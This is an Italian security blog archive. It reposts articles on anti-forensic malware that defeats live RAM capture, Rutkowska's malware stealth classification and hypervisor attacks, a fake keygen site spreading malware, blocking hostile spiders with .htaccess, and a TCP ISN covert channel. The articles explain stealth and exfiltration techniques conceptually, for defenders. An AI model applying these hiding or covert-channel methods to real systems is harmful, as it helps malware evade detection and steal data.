Archivio tag: sicurezza dell’informazione

Repliche estive: “Malware batte Investigatore 2-0″ (2 maggio 2007)

Questo è l’ultimo dei miei articoli del vecchio sito di ISMProfessional che, secondo me, vale la pena rileggere. Fra l’altro, l’estate è quasi andata, come calendario, anche se il caldo rende ancora i miei viaggi da pendolare molto simili ad una deportazione di massa, e le repliche di solito terminano con l’estate.

Questa volta l’argomento è presentato sotto forma di racconto alla CSI, naturalmente del tutto inventato. Come di consueto, ci rileggiamo alla fine per qualche oziosa considerazione.

Malware batte Investigatore 2-0

L’investigatore scende dall’auto, priva di insegne di riconoscimento, scortato da due uomini vestiti di scuro, piuttosto robusti.

La chiamata è giunta in tarda notte, ed ora è quasi mattina: il palazzo in cui stanno per entrare è la sede della più importante azienda di credito del Paese.

Pare che qualcuno sia riuscito ad accedere al database principale delle carte di credito, ed ha cominciato a sfruttare i dati trafugati. Le normali operazioni di gestione delle emergenze non hanno avuto l’effetto sperato, e pare che anche il centro elaborazione dati di riserva, attivato per l’emergenza, sia affetto dallo stesso problema.
Sa che sarà un lavoro delicato e complesso, ma ha con sé la valigetta con tutti i suoi strumenti di lavoro: il fido notebook con dentro tutti i software più sofisticati per l’analisi forense, un duplicatore di dischi e memorie flash ultimo modello e un gioiellino acquistato da qualche tempo: un duplicatore di memoria RAM hardware con interfaccia FireWire, che permette di acquisire il contenuto della memoria del computer mentre è in funzione e senza alterarne l’operatività.

Il direttore operativo della sede è stato molto chiaro: dieci minuti di interruzione di servizio equivalgono ad alcuni milioni di Euro di danni per le mancate transazioni, per cui i server non devono essere spenti per nessun motivo.
Arrivano in sala server principale, e si mette immediatamente al lavoro. Connette il notebook alla rete, sul segmento fra i server e il firewall che li protegge dal brodo primordiale di Internet.

Attiva prima un Intrusion Detection System ed un analizzatore di rete, ma dopo venti minuti di analisi non rilevano nulla di sospetto. Esamina i log del firewall, niente di anormale. Decide di passare al semplice sniffer e guarda il traffico di rete man mano che scorre sul video.

Qualcosa continua a solleticargli nel cervello: il viavai dei pacchetti TCP è normale, per una installazione di questo tipo, ma c’è qualcosa che non torna.

Passa ad esaminare i server. Ovviamente non può installare nulla, per non comprometterne il regolare funzionamento, ma conosce abbastanza il sistema operativo per sapere dove guardare per scovare un intruso.
Non ci sono processi estranei, né servizi sconosciuti. I driver delle principali periferiche sono in ordine. L’elenco delle applicazioni installate corrisponde perfettamente ai file sparsi in giro per il disco di sistema, ed ovviamente alle specifiche di installazione dell’applicazione principale.

Trova finalmente una discrepanza: ci sono installati DUE protocolli TCP/IP. Non se ne era accorto subito, il secondo era in basso, e lo nota dopo aver fatto scorrere in basso l’elenco.

Ricorda di aver letto qualcosa in merito. Sfoglia rapidamente la documentazione sul notebook e trova quello che cercava: una presentazione che parlava di malware invisibili. Ma questo ha lasciato qualche traccia, quindi forse non è del tipo III, non sfrutta la virtualizzazione per nascondersi.

Il problema rimane: non può spegnere il server, e non può installare nulla, per cui non può scoprire dove si è infilato l’intruso.

Sa che è là, da qualche parte nella memoria del computer… Aspetta! La memoria!

Apre la valigetta e prende il gioiellino, il duplicatore di RAM. Ora potrà analizzare con calma tutto il contenuto della memoria, trovare l’intruso ed analizzarne il codice: è questione di ore, e potrà consegnare abbastanza dati al direttore della sede per individuare chi si nasconde dietro l’operazione.

Inserisce il connettore sulla porta FireWire del server, inserisce un pen drive da 16G, su cui il duplicatore scriverà il contenuto della memoria e preme il tasto che avvia la copia. Immediatamente il server si blocca completamente: dopo pochi secondi il sistema di controllo dei servizi di rete lancia l’allarme per la caduta dei servizi. Rivoli di sudore scorrono sul volto dell’investigatore, nonostante la sala sia condizionata e mantenuta a 20 gradi.

Il tecnico responsabile fa iniziare la procedura per instradare tutti i servizi verso il centro di elaborazione di riserva. Il tutto è durato meno di un minuto, ma la telefonata del direttore della sede arriva poco dopo: non saranno ammessi altri errori.

Il server si è bloccato talmente male che riaccendendolo impone un controllo completo di integrità al filesystem. Ma il peggio deve ancora venire: il database si è corrotto, e occorre replicarlo da quello di riserva, ora diventato principale. Ci vorranno ore.

L’investigatore, le mani un po’ tremanti, sfila il pen drive dal duplicatore di memoria e lo inserisce nel notebook: dei quattro gigabyte di RAM del server ha replicato meno di un gigabyte. E dentro non c’è nulla di utilizzabile: la struttura di dati compromessa dal malware punta allo spazio di memoria subito dopo dove si è bloccata la duplicazione.

Non può essere che una maledetta sfortuna. Imprecando fra sé, l’investigatore va a parlare col tecnico responsabile, chiedendogli se può duplicare la memoria dal server del database di riserva. Ovviamente il tecnico rimane dubbioso: e se è stato il gioiellino a bloccare il server?

L’investigatore insiste, e gli propone di provarla su altri server non critici, per dimostrare che è stato solo un caso. Insieme inseriscono il duplicatore su quattro differenti server, e su tutti l’operazione termina senza alcun problema. I server continuano il lavoro come se niente fosse.

Il tecnico si convince, anche se è ancora un po’ titubante. Squilla di nuovo il telefono, sono arrivati altri rapporti di transazioni fraudolente: chi sta trafugando i dati sta ancora operando indisturbato: è la prova che anche il server nel centro di elaborazione di riserva è compromesso. Questo fa decidere il tecnico: però vuole aspettare almeno che finisca la duplicazione dal database di emergenza.

Si spostano nell’edificio adiacente: la sala server è la metà dell’altra, ma è posizionata sotto il livello stradale, con spessi muri di calcestruzzo.

L’investigatore inserisce di nuovo il duplicatore sulla porta FireWire del server, ma questa volta è meno deciso. Non vuole perdere i dati dal pen drive usato in precedenza, per cui usa un altro pen drive, un po’ più vecchio ed un po’ più lento dell’altro.

Preme il tasto di avvio della copia. Passano i secondi, e pare funzionare tutto. Il pen drive è lento, maledettamente lento.

Sullo schermo del server si vede lo screensaver con il logo del sistema operativo che dovrebbe fluttuare, ed invece è inesorabilmente immobile. Anche il server di riserva si è bloccato. E stavolta non ci sono più riserve. Il tecnico freneticamente lo riavvia, ma non c’è nulla da fare: filesystem e database corrotti. Devono fermare il servizio e ripristinare lo stato dei database: per fortuna c’è la copia dei dati, fatta appena prima. Ma nelle due ore che serviranno a ripristinare il database l’azienda di credito perderà milioni di Euro. E l’investigatore non solo quelli…

Stavolta ho cambiato modo di presentare l’argomento. Il racconto è completamente inventato, ma li elementi che fanno fallire il povero investigatore ipertecnologico sono tutti reali. La nostra amica Joanna Rutkowska ha colpito ancora.

Si parla della possibilità di duplicare il contenuto della memoria di un computer mentre è in funzione e senza interferire con la sua operatività: esistono in commercio schede per bus PCI che fanno questo, ed è possibile usare una porta FireWire per fare la stessa cosa, con la differenza che nel caso delle schede PCI occorre inserirle prima di poterle utilizzare, e quindi spegnere il computer, a meno di schede di tipo PCI-Hotplug.

Questo permette di duplicare il contenuto della memoria ed esaminarlo con calma, rilevando tutti i tipi di malware possibili, dato che viene usato un accesso DMA diretto, senza passare per il processore.

Ma, anche se per ora solo su hardware AMD, i malware possono sfruttare un trucco per arrivare a tre differenti comportamenti tesi ad impedire l’acquisizione della zona di memoria dove sono annidati:

  • bloccare il computer
  • far leggere valori senza senso (tutti 0×00 o 0xff)
  • far leggere valori arbitrari a scelta.

Tutti e tre questi comportamenti sono fattibili, e con grado di complessità crescente. I primi due sono stati implementati e dimostrati, il terzo è stato solo ipotizzato, ma già così è sufficiente per rendere inutile l’uso di questi miracolosi marchingegni.

C’è di peggio: l’attuale implementazione lascia fuori tutte le architetture non AMD, dato che sfrutta un comportamento legale ed atteso della tecnologia HyperTransport, ma a partire dal 2008 sia Intel che AMD rilasceranno processori ed architetture che supporteranno una tecnologia analoga per la gestione delle periferiche, e che sarà parte della tecnologia di virtualizzazione. Ingannare i duplicatori di RAM sarà un gioco da ragazzi. Duplicatori che ancora sono praticamente inesistenti in commercio in versione PCI, e del tutto ipotetici in FireWire (esiste un software dimostrativo, vedere nei riferimenti).

Il messaggio finale di Joanna, ed il nostro, vuole essere questo: finché non esisteranno sistemi operativi in grado di autoverificarsi e di segnalare la perdita di integrità, ogni altro strumento, per quanto sofisticato, sarà solo un costoso palliativo dalla durata limitata.

Riferimenti:

  • La presentazione di Joanna Rutkowska.
  • Un documento sulla fattibilità dei duplicatori di RAM via FireWire
  • Altro documento di presentazione di un software dimostrativo per duplicare la memoria via FireWire.

Oggi

Nel racconto ho volutamente esagerato i vincoli posti sull’operato dell’investigatore, per rendergli inevitabile la figuraccia. Inoltre gli ho fatto compiere un errore madornale, ossia operare sul sistema principale, invece che quello di riserva, inattivo. Ma il suo fato di personaggio virtuale era già segnato, quindi anche operando sul sistema di riserva per primo non sarebbe cambiato nulla sul suo destino finale.

Ma veniamo a noi. Joanna Rutkowska, nel frattempo, non è rimasta certo con le mani in mano. Abbiamo malware virtualizzanti in grado di infilarsi dietro l’hypervisor di un sistema di virtualizzazione, ossia capaci di operare una virtualizzazione annidata, mandando all’aria l’assioma che un sistema impiegante la virtualizzazione è sicuro rispetto all’attacco di un malware. Abbiamo malware che riescono, sotto certe condizioni, naturalmente, ad evadere da una macchina virtuale ed attaccare l’hypervisor, demolendo un altro assioma della virtualizzazione.

Insomma, sono tempi duri per chi pensava di mettersi al sicuro usando un sistema di virtualizzazione. Come sempre, non si può contare su strumenti automagici e soluzioni semplicistiche. I malware, espressione (perversa) della creatività e fantasia umane, sono sempre pronti a raccogliere nuove sfide, demolendo miti e soprattutto fedi mal riposte.

Poi, naturalmente, ci sono gli integralisti, come il signore della nota azienda IT americana che ha attaccato e, secondo lui, demolito il lavoro del team di Joanna tramite un articolo su un noto portale IT. Peccato che il signore in questione abbia dimostrato che nella fretta di confutare (o forse per voler avere ragione a tutti i costi) ha letto male e compreso peggio il lavoro presentato al noto Black Hat di quest’anno, riguardante una trilogia per sovvertire il funzionamento di Xen, il sistema di virtualizzazione basato su Linux. Ora, considerando che l’hypervisor di Xen è molto piccolo e compatto, il codice è sottoposto ad una serie impressionante di test e di controlli allo scopo di eliminare, ragionevolmente, ogni possibile bug di sicurezza, gli altri produttori di sistemi di virtualizzazione non hanno di che stare allegri. Nel senso, non pensino di gioire della dimostrazione che Xen non è invulnerabile: il loro hypervisor si basa su codice proprietario chiuso, e quindi senza il possibile contributo di questi geniali ricercatori per scovare falle e buchi.

Molto probabilmente alcuni degli attacchi portati con successo a Xen sono altrettanto efficaci anche con altri prodotti, naturalmente con qualche modifica.

I dettagli della trilogia su Xen, sull’articolo del signore e la relativa risposta di Joanna, si possono trovare leggendo il blog di Joanna Rutkowska, presente da tempo nel mio blogroll e nel mio lettore di feed.

Repliche estive: “Un malware veramente cattivo #2: trovami, se ci riesci…” (20 dicembre 2006)

Siamo quasi al termine delle repliche estive. Ancora un altro articolo e abbiamo terminato. Qui esaminavo una classificazione dei malware proposta dalla ricercatrice di sicurezza Joanna Rutkowska. Ci rileggiamo alla fine per le oziose considerazioni di rito.

Un malware veramente cattivo #2: trovami, se ci riesci…

Nel precedente articolo abbiamo mostrato (con l’aiuto di Joanna Rutkowska) come risolvere il problema di comunicare con l’esterno senza essere scoperti.

Qui vedremo le opzioni a disposizione dei malware per occultarsi invece all’interno del computer colpito.

Ogni malware, come sappiamo, è un programma, una porzione di codice che deve essere eseguita per rendere attivo il malware stesso. Una volta attivato e compiute le operazioni necessarie a stabilirsi, rimane da risolvere il problema di evitare di essere scoperto troppo facilmente. Un malware che si fa scoprire ha vita breve, mentre lo scopo è quello di agire senza insospettire né il normale utente, né l’amministratore di rete più smaliziato.

In realtà questo problema ha due aspetti: sfuggire sia all’occhio umano, sia agli strumenti automatici di rilevamento (antivirus, rootkit checker, ecc.). Joanna propone una classificazione ragionata dividendo i malware in quattro classi, in funzione del modo in cui si insediano e di come questo li renda difficili da rilevare.

Tipo 0

L’insediamento avviene con un normale programma, che usa le normali funzioni del sistema operativo per essere avviato per esempio come servizio di sistema. In questo caso il malware compare fra i processi in esecuzione, ed ha una porzione di memoria dedicata come tutti gli altri. La sua rilevazione è piuttosto semplice, in quanto con le normali funzioni di controllo del kernel se ne può controllare lo stato di esecuzione, le risorse impegnate, ecc.

Ad esempio un classico botnet agent come Gaobot è un malware di tipo 0. Il fatto che alcuni malware, come Gromozon, adottino delle strategie molto sofisticate per non essere rimossi, non cambia il fatto che rimangono malware di tipo 0, usando sempre e solo API documentate del sistema operativo per agire.

Tipo I

I malware di questo tipo non si presentano come processi separati, ma si agganciano al codice di altri processi sia del kernel che di servizi di sistema fondamentali. Una volta attivati non si notano processi aggiuntivi, ma un servizio di sistema, una porzione del kernel, un driver o una applicazione fondamentale per il funzionamento del sistema divengono portatori del malware, che si esegue nello stesso processo.

Per far questo viene modificata una parte dell’immagine in memoria del processo preso di mira dal malware, con una vera e propria operazione di patching, che aggiunge il proprio codice a quello in esecuzione.

In questo caso è molto più difficile trovare il malware, dato che non ha usato normali API per insediarsi, ma ha modificato il codice di una parte del sistema operativo o di una delle sue applicazioni.

Tipo II

Questo tipo di malware usa una strategia ancora più sofisticata. Il kernel contiene alcune strutture dati che sono in realtà puntatori a funzioni, di dimensione variabile e compilate con i giusti valori al momento dell’avvio del sistema operativo. Ad esempio i driver NDIS sono elencati in una struttura dati di questo tipo. I malware di questo tipo non toccano niente nel codice del kernel o delle applicazioni principali, ma si agganciano ad una di queste strutture dati, modificando un puntatore e inserendosi al suo posto o in aggiunta a quelli già presenti.

Il vantaggio di questo tipo di tecnica è che tali strutture sono modificabili per definizione e non possono essere bloccate, né protette dalle modifiche.

Tipo III

E’ il tipo più temibile: non tocca nulla all’interno del sistema operativo colpito, non genera nuovi processi, non modifica né porzioni di codice né strutture dati, è completamente esterno e fuori dalla visibilità. Al momento l’unica tecnica conosciuta è quella della virtualizzazione, applicata ad esempio nella pillola blu, che abbiamo già conosciuto.

Richiede che l’architettura del computer colpito sia conforme alle specifiche per macchine virtuali sicure, come la tecnologia Pacifica di AMD™ e quella VT-d di Intel™, e quindi è legata ad uno specifico tipo di hardware, ma l’efficacia è devastante.

La ciliegina sulla torta

I malware di tipo 0 e I hanno bisogno di operazioni aggiuntive per non rivelare troppo facilmente la loro presenza. Alcuni agganciano porzioni specifiche del kernel e nascondono le informazioni necessarie a scoprirli: per esempio filtrando l’elenco dei processi in esecuzione o l’elenco dei driver caricati. Il discusso sistema anticopia della nota multinazionale usa un filtro sul filesystem per nascondere i propri file.

Un rootkit sperimentale denominato Shadow Walker usa un sofisticato metodo per capire se un altro processo sta leggendo la zona di memoria in cui risiede il suo codice, tipicamente un antivirus che spazzola la memoria per capire se ci sono segni di malware, e mostra una differente zona di menoria all’antivirus, rendendone impossibile la rilevazione. Ma ha bisogno di modificare la parte di kernel che gestisce la memoria, e questo permette di scoprirne le tracce.

I malware di tipo II pongono un problema del tutto nuovo: non modificando in alcun modo nessuna parte del codice del kernel o delle applicazioni, ma solo strutture di dati che per definizione sono modificabili, diventano del tutto invisibili ai normali meccanismi di rilevamento.

I malware di tipo III, pur limitati ad una specifica architettura hardware, sono del tutto fuori dalla portata di qualsiasi metodo di rilevamento che sia interno alla macchina compromessa.

Sappiamo tutti la difficoltà di rimozione per alcuni tipi di malware, vedi Gromozon, come pure la fatica nel rilevarne la presenza, come il noto rootkit del sistema anticopia. Vedremo in un prossimo articolo le difficoltà che pongono queste nuove categorie di malware, sia per la rilevazione da parte di strumenti automatici che da parte di una persona che sappia dove guardare.

Oggi

Joanna Rutkowska è andata molto più avanti, ed in direzioni impensate. Ora è possibile annidare gli hypervisor, ossia un malware può virtualizzare un sistema già virtualizzato: ecco il NBP (Nested Blue Pill, pillola blu annidata). E’ stato dimostrato che la virtualizzazione, ritenuta dai più anche un modo per rendere più sicuro un sistema operativo, dato che l’hypervisor è in teoria isolato dall’interferenza delle macchine virtuali, non risolve per nulla il problema. Prendendo di mira Xen, il sistema di virtualizzazione usato in Linux, di cui è disponibile il sorgente, è stato dimostrato come sovvertirlo e riuscire da una macchina virtuale a modificare la memoria dell’hypervisor, demolendo di fatto l’assunto base della sicurezza della virtualizzazione.

E’ stato anche dimostrato come aggirare la protezione aggiuntiva offerta dall’architettura VT-d di Intel, grazie ad un bug nel bios di alcuni modelli di schede madri.

Ora, il semplice fatto che sia stato dimostrato che si può fare, dimostra che la virtualizzazione e tutto meno che un sistema di sicurezza. Ma il mondo IT, sordo a queste dimostrazioni, ritenute teoriche ed irrealizzabili in pratica, sta andando esattamente in questa direzione, con l’idea di mettere un semplice hypervisor dentro il sistema operativo allo scopo di proteggere il nucleo principale di esso.

Tutto questo nella Xen 0wning Trilogy di Joanna Rutkowska che vi invito a leggere.

Ma, naturalmente, nessuno userà mai questo per creare malware. Noooooo. Mai. E’ impraticabile.

D’altra parte lo stesso si diceva riguardo l’IP spoofing ed il TCP sequence number prediction. Poi nel Natale del 1994 Kevin Mitnick riuscì a penetrare nel computer di Tsutomu Shimomura usando proprio questo tipo di attacco.

Repliche estive: Caramelle dagli sconosciuti #1 (17 dicembre 2006)

Per iniettare un malware in un computer in sostanza esistono due vie: lavorare di cracking, cercando e sfruttando vulnerabilità note o meno in sistemi operativi ed applicazioni, oppure sfruttare le umane inclinazioni.

La seconda via non è né meno costosa, né richiede meno competenze, anzi, ne richiede di più ed in campi differenti, ma ha un vantaggio: funziona indipendentemente da problemi hardware o software, anche in assenza di vulnerabilità da sfruttare. Al solito ci si rilegge alla fine per le oziose considerazioni di rito.

Caramelle dagli sconosciuti

Ci sono vari tipi di ladro: lo scassinatore, il rapinatore e il truffatore. Lo scopo è sempre lo stesso, prendere qualcosa che non gli appartiene contro la volontà del legittimo proprietario. Quello che cambia è il modo:

  • lo scassinatore opera di abilità e di astuzia. Studia le abitudini della vittima, le condizioni di sicurezza del bersaglio, poi opera colpendo in un punto debole delle difese quando il proprietario non c’è.
  • Il rapinatore punta invece sulla forza bruta. Si arma e ottiene quello che vuole direttamente dal proprietario, minacciandolo.
  • Il truffatore opera invece di persuasione. E’ la vittima stessa che gli consegna l’oggetto, convinta di ottenere un vantaggio economico o di altra natura.

Un detto abbastanza noto recita che non si può truffare un uomo onesto. I truffatori in giro per la Rete pare ne tengano conto: i siti web più “infetti” sono quelli che contengono (o promettono) materiale in qualche modo illegale. Brani musicali, film, materiale pornografico, crack per programmi noti o meno, generatori di codici di registrazione (i cosiddetti keygen), tutto fa brodo.

Un esempio perfetto di questa situazione è un sito che offre generatori di codici di registrazione: keygen . name (il nome è spezzato e reso non cliccabile perché non è proprio il caso di andarci).

Ad un primo sguardo, sembra identico a centinaia di altri siti web di questo tipo, ma la trappola è là, ed è ben congegnata.

Si cerca nell’elenco dei programmi già inseriti, e se non si trova quanto voluto, si può usare la casella di testo con a fianco il tasto Find! (trova).

Capire che è una trappola è semplice:

  1. tutti i keygen scaricati sono lunghi esattamente 8759 bytes
  2. sono identici bit per bit, indipendentemente dal programma per cui dovrebbero generare il codice
  3. se si cerca un keygen se ne trova sempre uno con il nome contenente esattamente le parole che abbiamo digitato nella ricerca.

Per esempio se nella casella si digita “Fedora Linux”, la ricerca restituisce un file dal nome “Fedora_Linux_keygen.exe”, sempre di 8759 bytes. Ora, a parte che Fedora Linux non ha proprio bisogno di chiave di registrazione, visto che è un sistema operativo libero e gratuito, è strano che il nome sia esattamente lo stesso. Ad ulteriore conferma basta digitare “io sono un fesso che prende caramelle dagli sconosciuti” ed in un attimo ecco il nostro keygen con un nome chilometrico e quanto meno inconsueto, sempre di 8759 bytes.

La conferma finale viene passando il file ad una collezione di antivirus: i due terzi lo identificano come minaccia, anche se non sono concordi sul tipo.

Riadattando un detto usato dai miei nonni, possiamo dire che andò per craccare e rimase craccato

Oggi

Il sito è ancora attivo, ed il numero ed il tipo di ricerche presenti e memorizzate fa pensare che sia molto “gettonato”. Il keygen (leggi malware) è cambiato, ora è di 204856 bytes, e VirusTotal lo identifica sempre come malware con 28 antivirus su 36. Avviato sulla macchina virtuale sacrificale di rito, scarica roba dai soliti siti con nomi improbabili, installa un servizio ed un modulo da attivare all’avvio del computer, più altra roba che non sono stato a guardare. C’è un po’ di tutto, compreso un Alternate Data Stream.

A dispetto della continua evangelizzazione degli utenti ad opera di chi è un po’ più “smaliziato”, il numero di persone che cadono vittima di truffe e raggiri è in costante aumento. E non c’è bisogno di tirare in ballo il phishing, basta andare molto più vicino e volare bassi: siti che offrono antivirus fasulli per disinfettare inesistenti pestilenze, software altrimenti gratuiti offerti dietro pagamento di una “tassa di installazione”, informazioni riservate inesistenti, servizi 2.0 con fregatura 1.0, e via così.

E’ evidente che non serve assolutamente creare malware sofisticati e pestilenze inarrestabili, basta dire le cose giuste nel modo giusto agli utenti, il resto lo faranno da soli.

Una ultima cosa: una delle ricerche in prima pagina nel sito dei keygen fasulli nel momento in cui l’ho visitato era per una applicazione dal nome: Antivirus XP 2008. Per la cronaca, non è un antivirus, ma un malware camuffato da antivirus che richiede un pagamento con carta di credito per essere “attivato”. Ecco la cattura della pagina. Verso il fondo potete vedere quello di cui parlo.

Il colmo dei colmi: cercare in un sito di crack fasulli qualcosa per poter installare un malware camuffato da antivirus che probabilmente non vede l’ora di essere avviato per fare i suoi porci comodi, dopo ovviamente aver preso un po’ di soldi dalla nostra carta di credito.

Il punto, però, non è il denigrare un poveraccio che è caduto dalla padella nella brace, no. Qui stiamo parlando di qualcuno che per vedere “documentari anatomici”, viene ingannato una prima volta vedendosi presentare una richiesta di scaricare i codec; va sul sito per scaricare i codec e viene ingannato una seconda volta, con una falsa scansione online che lo avverte di avere un numero abnorme di virus e gli propone di installare un antivirus fantastico, la soluzione definitiva di tutti i problemi di virus. Mentre il tizio si convince di avere usato fino a quel momento una chiavica di antivirus, che non l’ha protetto dalla pletora di virus che gli ha trovato l’altro, va a scaricare ed installare l’antivirus fasullo, e viene ingannato la terza volta, dato che gli viene chiesto di acquistare il codice di attivazione con carta di credito. A questo punto, invece di accendere il cervello e iniziare a farsi qualche domanda, adotta il comportamento più amato dai truffatori: fa il furbetto. Cerca su Emule il crack per Antivirus XP 2008 e ne trova centinaia (provare per credere), tutti ovviamente dei falsi, accessoriati però col vero malware all’interno. Cerca un keygen e finisce sul sito appena presentato, prendendo una seconda pestilenza (o una terza, una quarta e via così).

Utenti così sono una manna dal cielo per i truffatori e i criminali in giro per la Rete. Scommetto che il computer di questa persona fa parte di almeno due botnet. Ed ha installati antivirus, firewall, antispyware, rootkit scanner, insomma tutto il campionario.

Di classifiche e rantoli, parte II

Come promesso, ho iniziato ad indagare su come riprendere il controllo di come vengano usati i contenuti offerti in questo sito da innumerevoli “servizi di pubblica utilità”. Ho messo le virgolette perché ho la sensazione, ed alcuni fatti me ne danno ragione, che della pubblica utilità non gliene importi granché.

Il primo passo è stato di installare un sistema di rilevazione delle visite, che mi permette di scoprire chi, da dove e come accede al sito e soprattutto ai feed.

Ho appurato che molti visitatori automatizzati (crawler, robot e spider) non rispettano il contenuto del file robots.txt che, secondo le regole che dovrebbero rendere più civile la convivenza su Internet, dovrebbe indicare a questi visitatori automatizzati dove possono ficcare il naso e dove non possono. Certo, nessuno ne fa un obbligo, si tratta di autoregolarsi. Ma, visto appunto che le regole servono a chi non sa regolarsi, quando il totale disprezzo della proprietà altrui è evidente, si inizia a prendere provvedimenti forti.

Altro dato che per quanto mi riguarda è atteso, ma dovrebbe far saltare sulla sedia chi ignora le più elementari regole per la sicurezza del proprio sito/blog, è rappresentato dal numero di spider in cerca di rogne. In meno di venti ore di raccolta dei dati, su 495 crawler/spider che hanno visitato il sito, 192 contenevano nello User Agent la stringa “libwww-perl”. E il sistema colleziona solo chi accede a pagine “regolari” del sito, non cataloga ad esempio chi tenta di accedere alle pagine “private” (tipo quella di modifica dei temi, o quella di amministrazione, o a quella dei plugin), per cui il numero di accessi preludio ad una intrusione è molto più alto.

Per chi non ne fosse al corrente, gran parte dei mentecatti in cerca di siti da violare usa script fatti in Perl, un linguaggio nato con tutt’altro scopo. Quando uno script Perl accede ad un server web si identifica con quella stringa particolare, appunto “libwww-perl”.

I tentativi fatti da questi script vanno dalla semplice lettura del feed, al tentativo di leggere il file /etc/passwd, ad innumerevoli tentativi differenti di RFI. Ne ho già parlato, ed i principali bersagli sono plugin affetti da problemi di sicurezza.

Il passo successivo, sperimentale, è stato di aggiungere qualche riga al mio file .htaccess, queste per la precisione:


RewriteEngine  on
RewriteCond %{HTTP_USER_AGENT}   ^NomeSpider.*
RewriteRule .+   -   [F]

con il seguente effetto: se il sito viene visitato da qualcosa il cui user agent ha un identificativo che inizia con la stringa NomeSpider, il visitatore ottiene in risposta un 403-Forbidden al posto di qualsiasi pagina contenuta nel sito. In questo modo si chiude in faccia la porta in modo selettivo agli spider “maleducati”.

Naturalmente è una misura di poco valore, per il semplice fatto che un mentecatto competente può in pochi secondi cambiare la stringa identificativa del proprio spider, rendendo inefficace la misura, strategia che ho visto con i miei occhi in molti script “pronti per l’uso” reperiti in Rete per fare birbonate: in qualcuno lo user agent è una stringa casuale, in altri è scelto a caso fra stringhe di browser normali, quali Firefox, Konqueror, Internet Explorer, Safari e via così.

Lo stesso WordPress Autotest opera in questa maniera, per poter attirare in trappola il codice malevolo iniettato nei blog colpiti: si presenta con differenti user agent allo scopo di costringere il malware a rivelarsi.

In ogni caso la regola può essere fatta anche con l’indirizzo IP dello spider, e questo può essere molto più efficace: al visitatore non basta cambiare il proprio user agent, deve proprio cambiare punto di accesso alla Rete, cosa non proprio banale. Ma, sempre parlando di “libwww-perl”, gli indirizzi IP da cui provengono le scansioni sono quasi tutti di fornitori di accesso Internet a privati, tradotto: sono computer di “guidatori sopra la media” compromessi ed usati dal nostro amico mentecatto, o da un suo affine, sempre mentecatto. Quindi anche l’inserimento di un indirizzo IP è una misura poco efficace, se vogliamo contrastare un possibile attacco mirato a violare il sito. Rimane efficace per “educare” crawler e spider poco rispettosi, appartenenti a società sempre a caccia di informazioni di qualsiasi genere da rivendere.

Riguardo alle stranezze di una certa classifica, non sono l’unico ad avere delle perplessità.

Due parole ancora per spiegare meglio il mio punto di vista. Sulle classifiche ho cambiato idea, non ho nessun problema a dirlo. All’inizio pensavo che fossero uno strumento utile a far conoscere il proprio sito e soprattutto a raggiungere meglio i possibili interessati agli argomenti che tratto. A distanza di molto tempo (informaticamente parlando), il risultato è non solo deludente, ma è evidente il vantaggio di chi conosce i meccanismi della classifica (quale che sia) e di come si faccia di tutto per scalare posizioni usando tutti i trucchi possibili ed immaginabili per “dopare” la propria posizione. La responsabilità non è della classifica e di chi la gestisce, ma se di un responsabile avete bisogno, guardatevi allo specchio e chiedetevi se non sia ancora una volta il solito vizietto di voler fare i furbetti a tutti i costi per primeggiare con poca fatica.

Ritengo tutto ciò, nel mio specifico caso, lesivo della mia immagine e del mio lavoro. Per cui mi opporrò in ogni maniera ad essere incluso in classifiche che vengono abusate dagli stessi membri, al solo scopo di rimediare qualche click in più, in cambio di nulla.

Riferimenti

WordPress Autotest: v1.11 with english translation, too

If you suspect an intrusion in your WordPress blog, or spam link injection, or you feel that your blog is 0wned, you can do this check.

Instructions and results are in English language. Some documentation about WordPress spam injection and redirection is here.

Repliche estive: Un malware veramente cattivo #1: comunicare senza comunicare (9 dicembre 2006)

La ricercatrice Joanna Rutkowska ne sa veramente una più del diavolo. Naturalmente il suo blog è fra i miei preferiti. Lo aggiorna raramente, ma ogni suo scritto vale ogni singolo bit impiegato. Questo articolo, scritto quasi due anni fa, prendeva spunto dalla presentazione di un suo progetto, realizzato e funzionante, di cui avevo parlato già in una differente occasione.

Joanna nel frattempo ha prodotto molte altre cose, tutte estremamente interessanti, nel campo della sicurezza e dei malware. Uno dei suoi punti di vista che condivido completamente è che l’uso della virtualizzazione come strumento di sicurezza è una falsa soluzione. Ma questa è un’altra storia. Buona lettura.

Un malware veramente cattivo #1: comunicare senza comunicare

Ogni malware ha necessità di comunicare, vuoi per avvertire casa di essere arrivato, vuoi per fare il suo sporco lavoro. Per questo motivo, in mancanza di alternative, si può sempre agire dall’esterno del computer sospetto di essere compromesso: lavorando di sniffer è di solito possibile vedere il traffico anomalo generato dal malware per comunicare con l’esterno.

Ma… immaginate un metodo di comunicazione che non sia rilevabile con un normale sniffer: niente trucchi elettronici o elettrici, la comunicazione c’è, ma non si vede.

Presentiamo i nostri attori:

  • A: il computer compromesso con dentro un malware di quelli cattivi.
  • B: il computer di chi ha spedito il malware ed ora sta aspettando i suoi messaggi.
  • C: il computer del detective che deve scoprire cosa comunica il malware.
  • X: un computer qualsiasi su Internet.

A comunica in protocollo TCP con X. B si trova in qualche punto fra A e X, e riesce a vedere il traffico di rete fra i due. C si trova anche lui fra A e X, ma anche fra A e B, quindi se A manda un qualsiasi pacchetto IP a B, C lo intercetta immediatamente e può rilevare il traffico anomalo.

Alla fine fra A e B non circola un solo pacchetto, solo fra A e X, ma B ha ricevuto tutti i dati inviati da A.

Come può essere accaduto?

Usando un Passive Covert Channel della nostra incredibile Joanna Rutkowska.

Nell’intestazione di ogni pacchetto TCP ci sono dati per il funzionamento del protocollo, sotto forma di bit. Ognuno di essi ha un significato ben preciso, e non può avere valori arbitrari. Inoltre non si possono usare trucchi come accodare dei byte in più ad ogni pacchetto, perché sarebbero immediatamente rilevati.

Un solo blocco di bit può avere in teoria un qualsiasi valore ed essere valido: il campo dell’ISN (Initial Sequence Number).

La comunicazione avviene in questo modo:

  1. A apre la comunicazione con X. Il malware annidato al suo interno intercetta i pacchetti TCP di tipo SYN in uscita e sostituisce l’ISN originale con quello generato da lui.
  2. X riceve i pacchetti e risponde normalmente.
  3. B, che legge in modo passivo il traffico fra A e X, estrae i dati inviati da A in tutti gli ISN dei pacchetti TCP SYN, li riassembla, e legge la comunicazione.
  4. C non vede nulla di strano, solo A che comunica con X, e basta.

